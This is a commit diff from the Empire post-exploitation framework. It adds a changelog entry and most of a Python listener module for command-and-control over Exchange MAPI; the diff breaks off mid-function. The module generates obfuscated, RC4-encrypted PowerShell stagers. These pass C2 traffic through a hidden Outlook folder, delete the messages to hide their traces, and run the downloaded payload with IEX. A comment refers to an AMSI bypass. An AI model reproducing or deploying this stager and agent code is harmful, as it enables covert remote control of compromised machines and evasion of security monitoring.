commit
3efbe0fb01
|
@ -1,3 +1,7 @@
|
||||||
|
Running
|
||||||
|
--------
|
||||||
|
- Added Trollsploit module Get-Schwifty
|
||||||
|
|
||||||
5/15/2017
|
5/15/2017
|
||||||
---------
|
---------
|
||||||
-Version 2.0 Master Release
|
-Version 2.0 Master Release
|
||||||
|
|
Binary file not shown.
|
@ -0,0 +1,626 @@
|
||||||
|
import logging
|
||||||
|
import base64
|
||||||
|
import random
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
import copy
|
||||||
|
from pydispatch import dispatcher
|
||||||
|
from flask import Flask, request, make_response
|
||||||
|
|
||||||
|
# Empire imports
|
||||||
|
from lib.common import helpers
|
||||||
|
from lib.common import agents
|
||||||
|
from lib.common import encryption
|
||||||
|
from lib.common import packets
|
||||||
|
from lib.common import messages
|
||||||
|
|
||||||
|
|
||||||
|
class Listener:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'HTTP[S] + MAPI',
|
||||||
|
|
||||||
|
'Author': ['@harmj0y','@_staaldraad'],
|
||||||
|
|
||||||
|
'Description': ('Starts a http[s] listener (PowerShell) which can be used with Liniaal for C2 through Exchange'),
|
||||||
|
|
||||||
|
'Category' : ('client_server'),
|
||||||
|
|
||||||
|
'Comments': ['This requires the Liniaal agent to translate messages from MAPI to HTTP. More info: https://github.com/sensepost/liniaal']
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the stager, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
|
||||||
|
'Name' : {
|
||||||
|
'Description' : 'Name for the listener.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'mapi'
|
||||||
|
},
|
||||||
|
'Host' : {
|
||||||
|
'Description' : 'Hostname/IP for staging.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : "http://%s:%s" % (helpers.lhost(), 80)
|
||||||
|
},
|
||||||
|
'BindIP' : {
|
||||||
|
'Description' : 'The IP to bind to on the control server.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : '0.0.0.0'
|
||||||
|
},
|
||||||
|
'Port' : {
|
||||||
|
'Description' : 'Port for the listener.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 80
|
||||||
|
},
|
||||||
|
'StagingKey' : {
|
||||||
|
'Description' : 'Staging key for initial agent negotiation.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa'
|
||||||
|
},
|
||||||
|
'DefaultDelay' : {
|
||||||
|
'Description' : 'Agent delay/reach back interval (in seconds).',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 0
|
||||||
|
},
|
||||||
|
'DefaultJitter' : {
|
||||||
|
'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 0.0
|
||||||
|
},
|
||||||
|
'DefaultLostLimit' : {
|
||||||
|
'Description' : 'Number of missed checkins before exiting',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 60
|
||||||
|
},
|
||||||
|
'DefaultProfile' : {
|
||||||
|
'Description' : 'Default communication profile for the agent.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
|
||||||
|
},
|
||||||
|
'CertPath' : {
|
||||||
|
'Description' : 'Certificate path for https listeners.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'KillDate' : {
|
||||||
|
'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'WorkingHours' : {
|
||||||
|
'Description' : 'Hours for the agent to operate (09:00-17:00).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'ServerVersion' : {
|
||||||
|
'Description' : 'TServer header for the control server.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'Microsoft-IIS/7.5'
|
||||||
|
},
|
||||||
|
'Folder' : {
|
||||||
|
'Description' : 'The hidden folder in Exchange to user',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'Liniaal'
|
||||||
|
},
|
||||||
|
'Email' : {
|
||||||
|
'Description' : 'The email address of our target',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# required:
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
self.threads = {}
|
||||||
|
|
||||||
|
# optional/specific for this module
|
||||||
|
self.app = None
|
||||||
|
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
|
||||||
|
|
||||||
|
# set the default staging key to the controller db default
|
||||||
|
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
|
||||||
|
|
||||||
|
|
||||||
|
def default_response(self):
|
||||||
|
"""
|
||||||
|
Returns a default HTTP server page.
|
||||||
|
"""
|
||||||
|
page = "<html><body><h1>It works!</h1>"
|
||||||
|
page += "<p>This is the default web page for this server.</p>"
|
||||||
|
page += "<p>The web server software is running but no content has been added, yet.</p>"
|
||||||
|
page += "</body></html>"
|
||||||
|
return page
|
||||||
|
|
||||||
|
|
||||||
|
def validate_options(self):
|
||||||
|
"""
|
||||||
|
Validate all options for this listener.
|
||||||
|
"""
|
||||||
|
|
||||||
|
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
|
||||||
|
|
||||||
|
for key in self.options:
|
||||||
|
if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
|
||||||
|
print helpers.color("[!] Option \"%s\" is required." % (key))
|
||||||
|
return False
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
|
||||||
|
"""
|
||||||
|
Generate a basic launcher for the specified listener.
|
||||||
|
"""
|
||||||
|
|
||||||
|
if not language:
|
||||||
|
print helpers.color('[!] listeners/http generate_launcher(): no language specified!')
|
||||||
|
|
||||||
|
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
|
||||||
|
|
||||||
|
# extract the set options for this instantiated listener
|
||||||
|
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
|
||||||
|
host = listenerOptions['Host']['Value']
|
||||||
|
stagingKey = listenerOptions['StagingKey']['Value']
|
||||||
|
profile = listenerOptions['DefaultProfile']['Value']
|
||||||
|
uris = [a for a in profile.split('|')[0].split(',')]
|
||||||
|
stage0 = random.choice(uris)
|
||||||
|
|
||||||
|
if language.startswith('po'):
|
||||||
|
# PowerShell
|
||||||
|
|
||||||
|
stager = ''
|
||||||
|
if safeChecks.lower() == 'true':
|
||||||
|
# @mattifestation's AMSI bypass
|
||||||
|
stager = helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";')
|
||||||
|
stager += "$outlook = New-Object -comobject Outlook.Application;"
|
||||||
|
stager += helpers.randomize_capitalization('$mapi = $Outlook.GetNameSpace("')
|
||||||
|
stager += 'MAPI");'
|
||||||
|
if listenerOptions['Email']['Value'] != '':
|
||||||
|
stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(2).Folders.Item("'+listenerOptions['Folder']['Value']+'")};'
|
||||||
|
stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(3)};'
|
||||||
|
else:
|
||||||
|
stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("'+listenerOptions['Folder']['Value']+'");'
|
||||||
|
stager += '$fldel = $outlook.Session.GetDefaultFolder(3);'
|
||||||
|
# clear out all existing mails/messages
|
||||||
|
|
||||||
|
stager += helpers.randomize_capitalization("while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}")
|
||||||
|
# code to turn the key string into a byte array
|
||||||
|
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
|
||||||
|
stager += "'%s');" % (stagingKey)
|
||||||
|
|
||||||
|
# this is the minimized RC4 stager code from rc4.ps1
|
||||||
|
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
|
||||||
|
|
||||||
|
# prebuild the request routing packet for the launcher
|
||||||
|
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
|
||||||
|
b64RoutingPacket = base64.b64encode(routingPacket)
|
||||||
|
|
||||||
|
# add the RC4 packet to a cookie
|
||||||
|
stager += helpers.randomize_capitalization('$mail = $outlook.CreateItem(0);$mail.Subject = "')
|
||||||
|
stager += 'mailpireout";'
|
||||||
|
stager += helpers.randomize_capitalization('$mail.Body = ')
|
||||||
|
stager += '"STAGE - %s"' % b64RoutingPacket
|
||||||
|
stager += helpers.randomize_capitalization(';$mail.save() | out-null;')
|
||||||
|
stager += helpers.randomize_capitalization('$mail.Move($fld)| out-null;')
|
||||||
|
stager += helpers.randomize_capitalization('$break = $False; $data = "";')
|
||||||
|
stager += helpers.randomize_capitalization("While ($break -ne $True){")
|
||||||
|
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;')
|
||||||
|
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}')
|
||||||
|
|
||||||
|
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
|
||||||
|
|
||||||
|
# decode everything and kick it over to IEX to kick off execution
|
||||||
|
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
||||||
|
|
||||||
|
# base64 encode the stager and return it
|
||||||
|
if encode:
|
||||||
|
return helpers.powershell_launcher(stager)
|
||||||
|
else:
|
||||||
|
# otherwise return the case-randomized stager
|
||||||
|
return stager
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.")
|
||||||
|
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid listener name specification!")
|
||||||
|
|
||||||
|
|
||||||
|
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"):
|
||||||
|
"""
|
||||||
|
Generate the stager code needed for communications with this listener.
|
||||||
|
"""
|
||||||
|
|
||||||
|
#if not language:
|
||||||
|
# print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!')
|
||||||
|
# return None
|
||||||
|
|
||||||
|
profile = listenerOptions['DefaultProfile']['Value']
|
||||||
|
uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
|
||||||
|
stagingKey = listenerOptions['StagingKey']['Value']
|
||||||
|
host = listenerOptions['Host']['Value']
|
||||||
|
folder = listenerOptions['Folder']['Value']
|
||||||
|
|
||||||
|
if language.lower() == 'powershell':
|
||||||
|
|
||||||
|
# read in the stager base
|
||||||
|
f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath))
|
||||||
|
stager = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
# make sure the server ends with "/"
|
||||||
|
if not host.endswith("/"):
|
||||||
|
host += "/"
|
||||||
|
|
||||||
|
# patch the server and key information
|
||||||
|
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
|
||||||
|
stager = stager.replace('REPLACE_FOLDER', folder)
|
||||||
|
|
||||||
|
randomizedStager = ''
|
||||||
|
|
||||||
|
for line in stager.split("\n"):
|
||||||
|
line = line.strip()
|
||||||
|
# skip commented line
|
||||||
|
if not line.startswith("#"):
|
||||||
|
# randomize capitalization of lines without quoted strings
|
||||||
|
if "\"" not in line:
|
||||||
|
randomizedStager += helpers.randomize_capitalization(line)
|
||||||
|
else:
|
||||||
|
randomizedStager += line
|
||||||
|
|
||||||
|
# base64 encode the stager and return it
|
||||||
|
if encode:
|
||||||
|
return helpers.enc_powershell(randomizedStager)
|
||||||
|
elif encrypt:
|
||||||
|
RC4IV = os.urandom(4)
|
||||||
|
return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
|
||||||
|
else:
|
||||||
|
# otherwise just return the case-randomized stager
|
||||||
|
return randomizedStager
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module.")
|
||||||
|
|
||||||
|
|
||||||
|
def generate_agent(self, listenerOptions, language=None):
|
||||||
|
"""
|
||||||
|
Generate the full agent code needed for communications with this listener.
|
||||||
|
"""
|
||||||
|
|
||||||
|
if not language:
|
||||||
|
print helpers.color('[!] listeners/http_mapi generate_agent(): no language specified!')
|
||||||
|
return None
|
||||||
|
|
||||||
|
language = language.lower()
|
||||||
|
delay = listenerOptions['DefaultDelay']['Value']
|
||||||
|
jitter = listenerOptions['DefaultJitter']['Value']
|
||||||
|
profile = listenerOptions['DefaultProfile']['Value']
|
||||||
|
lostLimit = listenerOptions['DefaultLostLimit']['Value']
|
||||||
|
killDate = listenerOptions['KillDate']['Value']
|
||||||
|
workingHours = listenerOptions['WorkingHours']['Value']
|
||||||
|
folder = listenerOptions['Folder']['Value']
|
||||||
|
b64DefaultResponse = base64.b64encode(self.default_response())
|
||||||
|
|
||||||
|
if language == 'powershell':
|
||||||
|
|
||||||
|
f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
|
||||||
|
code = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
# patch in the comms methods
|
||||||
|
commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
|
||||||
|
commsCode = commsCode.replace('REPLACE_FOLDER',folder)
|
||||||
|
code = code.replace('REPLACE_COMMS', commsCode)
|
||||||
|
|
||||||
|
# strip out comments and blank lines
|
||||||
|
code = helpers.strip_powershell_comments(code)
|
||||||
|
|
||||||
|
# patch in the delay, jitter, lost limit, and comms profile
|
||||||
|
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
|
||||||
|
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
|
||||||
|
code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
|
||||||
|
code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
|
||||||
|
code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+str(b64DefaultResponse)+'"')
|
||||||
|
|
||||||
|
# patch in the killDate and workingHours if they're specified
|
||||||
|
if killDate != "":
|
||||||
|
code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
|
||||||
|
if workingHours != "":
|
||||||
|
code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',")
|
||||||
|
|
||||||
|
return code
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] listeners/http_mapi generate_agent(): invalid language specification, only 'powershell' is currently supported for this module.")
|
||||||
|
|
||||||
|
|
||||||
|
def generate_comms(self, listenerOptions, language=None):
|
||||||
|
"""
|
||||||
|
Generate just the agent communication code block needed for communications with this listener.
|
||||||
|
|
||||||
|
This is so agents can easily be dynamically updated for the new listener.
|
||||||
|
"""
|
||||||
|
|
||||||
|
if language:
|
||||||
|
if language.lower() == 'powershell':
|
||||||
|
|
||||||
|
updateServers = """
|
||||||
|
$Script:ControlServers = @("%s");
|
||||||
|
$Script:ServerIndex = 0;
|
||||||
|
""" % (listenerOptions['Host']['Value'])
|
||||||
|
|
||||||
|
getTask = """
|
||||||
|
function script:Get-Task {
|
||||||
|
try {
|
||||||
|
# meta 'TASKING_REQUEST' : 4
|
||||||
|
$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4;
|
||||||
|
$RoutingCookie = [Convert]::ToBase64String($RoutingPacket);
|
||||||
|
|
||||||
|
# choose a random valid URI for checkin
|
||||||
|
$taskURI = $script:TaskURIs | Get-Random;
|
||||||
|
|
||||||
|
$mail = $outlook.CreateItem(0);
|
||||||
|
$mail.Subject = "mailpireout";
|
||||||
|
$mail.Body = "GET - "+$RoutingCookie+" - "+$taskURI;
|
||||||
|
$mail.save() | out-null;
|
||||||
|
$mail.Move($fld)| out-null;
|
||||||
|
|
||||||
|
# keep checking to see if there is response
|
||||||
|
$break = $False;
|
||||||
|
[byte[]]$b = @();
|
||||||
|
|
||||||
|
While ($break -ne $True){
|
||||||
|
foreach ($item in $fld.Items) {
|
||||||
|
if($item.Subject -eq "mailpirein"){
|
||||||
|
$item.HTMLBody | out-null;
|
||||||
|
if($item.Body[$item.Body.Length-1] -ne '-'){
|
||||||
|
$traw = $item.Body;
|
||||||
|
$item.Delete();
|
||||||
|
$break = $True;
|
||||||
|
$b = [System.Convert]::FromBase64String($traw);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Start-Sleep -s 1;
|
||||||
|
}
|
||||||
|
return ,$b
|
||||||
|
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
|
||||||
|
}
|
||||||
|
while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};} |